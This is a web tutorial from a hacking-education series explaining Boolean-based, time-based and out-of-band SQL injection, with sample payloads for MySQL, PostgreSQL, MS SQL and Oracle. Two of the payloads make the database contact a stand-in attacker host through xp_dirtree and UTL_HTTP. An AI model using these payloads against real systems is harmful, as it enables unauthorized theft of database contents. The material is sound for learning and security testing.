SQL Injection 101: Advanced Techniques for Maximum Exploitation « Null Byte :: WonderHowTo

ForSQL injection, the next step afterperforming reconnaissance and gathering informationabout a database is launching an attack. But something seems off .. in the real world, it's usually not quite as simple as passing in a few fragments of SQL code to an input field and seeing all that glorious data displayed right in the browser. This is when more advanced techniques are needed.Categories of SQL InjectionSo far, in theSQL injection basicsandrecon guides, we have only covered one category of SQL injection: in-band. This means that an attacker is able to use the same channel to both inject code and gather data.We saw this with error-based injection where information about the database and error messages were presented to us right in the web application. We also explored union-based attacks in which malicious SQL code was able to be tacked on to legitimate queries to be used to our advantage.Previously:Fingerprint Databases & Perform General Recon for a More Successful SQL InjectionBut what if there is no data returned to us? Most web apps (unless they are poorly designed) aren't configured to display errors to users let alone detailed information about the database. This is what inferential, or blind, SQL injection is.In blind SQL injection, no data is actually transferred between the application and the attacker, so certain techniques need to be employed in order to reconstruct the data. This is usually done bysending different requests and observing the responsesand behavior of the database, which can take much longer but is still just as dangerous as classic injection attacks. The two main types of blind SQL injection are Boolean-based and time-based.Boolean-Based SQL InjectionBoolean-based SQL injection requires an attacker to send a series of Boolean queries to the database server and analyze the results in order to infer the values of any given field. Let's suppose we have found a field that is vulnerable to blind injection and we want to figure out the username. There are a few important functions that we need to understand in order to do this; Most databases use some variation of these:ASCII(character)SUBSTRING(string, start, length)LENGTH(string)The ASCII() function takes a single character and returns theASCII value, returning null if the character is zero. SUBSTRING() takes three parameters: a string, the starting position, and the length of the string, and returns the substring. The LENGTH() function returns the number of characters in a string.Step 1: Craft a Boolean QueryThrough the use of these functions, we can begin testing for the value of the first character, and once that is ascertained, we can move on to the next one, and so on and so forth, until the entire value (in this case, the username) is discovered. Take a look at the following URL, which we know is vulnerable to injection by inserting the trailing single quote:https://exampleurl.com/login.php?id=1'Using Boolean exploitation, we can craft the query to be executed on the server to end up looking like this:SELECT  *
FROM    Users
WHERE   UserID = '1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1' = '1'Let's break this down. Inner functions always execute first, so SUBSTRING() takes the first character of the username string and limits the length to 1; This way, we can go through each character one at a time until we reach the end of the string.Next, the ASCII() function runs with the character we just got as its parameter. The rest of the statement is basically just a conditional that reads: if the ASCII value of this character is equal to 97 (which is "a"), and 1=1 is true (which it always is), then the whole statement is true and we have the right character. If this returns false, then we can increment the ASCII value from 97 to 98, and repeat the process until it returns true.A handy ASCII table can be accessed by typingman asciiin the terminal:If we knew the username was "jsmith," for example, we wouldn't see true returned until we reach 106, the ASCII value for "j." Once we have obtained the first character of the username, we can move on to the next one by repeating this procedure and setting the starting position of SUBSTRING() to 2.Step 2: Distinguish Between True & False ResponsesIn order to be certain that our tests are really returning true, we need a way to differentiate between true values and false values. This can be accomplished by utilizing the following query, which will always return false:SELECT  *
FROM    Users
WHERE   UserID = '1' AND '1' = '2'Now we can use this as the baseline for false responses, and compare this to our Boolean injections. If the response from the server is different than this baseline, we can be reasonably confident we have obtained a true value.Step 3: Determine When to End the ProcedureThe final thing that needs to be done when testing for Boolean-based injection is determining when to stop, that is, knowing the length of the string. Once we reach a null value (ASCII code 0), then we are either done and have discovered the entire string or the string itself contains a null value. We can figure this out by using the LENGTH() function. Let's say the username we were trying to obtain was "jsmith," then the query could look like this:SELECT  *
FROM    Users
WHERE   UserID = '1' AND LENGTH(username) = 6 AND '1' = '1'If this returns true, then we have successfully identified the username. If this returns false, then the string contains a null value and we would need to continue the procedure until another null character is discovered.Time-Based SQL InjectionTime-based SQL injection involves sending requests to the database and analyzing server response times in order to deduce information. We can do this by taking advantage of sleep and time delay functions that are utilized in database systems. Like before, we can use the ASCII() and SUBSTRING() functions to aid in enumerating a field along with a new function called SLEEP(). Let's examine the following MySQL query sent to the server:SELECT  *
FROM    Users
WHERE   UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, SLEEP(10), 'false')Don't Miss:The Essential Newbie's Guide to SQL Injections & Manipulating Data in a MySQL DatabaseThe IF() function takes three parameters: the condition, what returns if the condition is true, and what returns if the condition is false. In this example, we are using the same method that we used for Boolean-based injections as the condition. The whole expression reads like so: if the first character in the username string is "a," then sleep for ten seconds, otherwise return false.We can then increment the ASCII value until we receive a delayed response from the database, thus determining the correct characters in the username. It is important to choose a value in seconds that is long enough to differentiate between normal server response times.MySQL also has a function called BENCHMARK() that can be used in time-based injection attacks. It takes the number of times to execute an expression as its first parameter and the expression itself as the second parameter. For example:SELECT  *
FROM    Users
WHERE   UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, BENCHMARK(10000000, CURTIME()), 'false')Basically, this states that if the first character of the username is "a"(97), then run CURTIME() ten million times. CURTIME() returns the current time, but the function that's passed here doesn't really matter; It is important, however, to make sure the function runs enough times to have a significant impact.PostgreSQL uses the pg_sleep() function:SELECT  *
FROM    Users
WHERE   UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, pg_sleep(10), 'false')MS SQL has a similar function, WAIT FOR DELAY, which can be used in a stacked query:SELECT  *
FROM    Users
WHERE   UserID = 1; WAIT FOR DELAY '00:00:10'Oracle is a bit more challenging, since injecting a sleep function usually needs to be done within aPL/SQLblock. PL/SQL is Oracle's extension for SQL that includes elements of procedural programming language. It is unlikely to occur, but the time-based injection would look like this:BEGIN DBMS_LOCK.SLEEP(15); END;Inferential SQL injection is a tedious, time-consuming process, but a determined attacker can successfully exploit these flaws in order to reveal data that would otherwise be obfuscated.Out-of-Band SQL InjectionThe third main category of SQL injection is out-of-band. These attacks work by retrieving information through alternative channels, such as emails, file systems, HTTP requests, or DNS resolutions. Out-of-band SQL injection is useful once all in-band and blind injection methods have been exhausted.Let's take a look at an example:http://exampleurl.com/product.php?id=1And the resulting SQL query:SELECT  *
FROM    Products
WHERE   ProductID = 1;Here is what the malicious request would look like in MS SQL:SELECT  *
FROM    Products
WHERE   ProductID = 1; EXEC master..xp_dirtree '\\attacker.test.com\' --The xp_dirtree stored procedure can be used to list directory contents, and in this example, attacker.test.com is adomain owned by the attacker. Using a stacked query, xp_dirtree executes, and a DNS lookup to attacker.test.com occurs. If the system is vulnerable, the attacker can check DNS logs and view the request.A similar attack exists for Oracle:SELECT  *
FROM    Products
WHERE   ProductID = 1 || UTL_HTTP.request('http://attacker.test.com/') --UTL_HTTP is a package that allows data to be accessed over HTTP, in this case, from the database to attacker.test.com.Out-of-band SQL injection can prove useful in certain situations, but it is not very common because it requires certain features to be enabled on the database server. Still, it doesn't hurt to be thorough and try it out if other injection methods have failed.Stay Tuned for More SQL InjectionSo far, this series has covered thebasics of SQL injection,methods to fingerprint databases, and advanced techniques to greatly improve the chances of a successful attack. Now that we have all of that under our belt, we can begin to explore signature evasion and ways to avoid detection when performing SQL injection.Next Up:How to Avoid Detection & Bypass Defenses When Using SQL InjectionFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byAkela999/Pixabay; Screenshots by drd_/Null ByteRelatedSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:SQL Injection Finding Vulnerable Websites..Become an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:SQL Injection! -- Detailed Introduction.How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Hack websites with SQL injectionHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoogle Dorking:AmIDoinItRite?How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Hack websites with SQL injection and WebGoatHow To:Noob's Introductory Guide to Hacking: Where to Get Started?How To:Protect Your PHP Website from SQL Injection HacksNews:Flixist Film School - Editing 101Rock Climbing 101:Basic Tecnhniques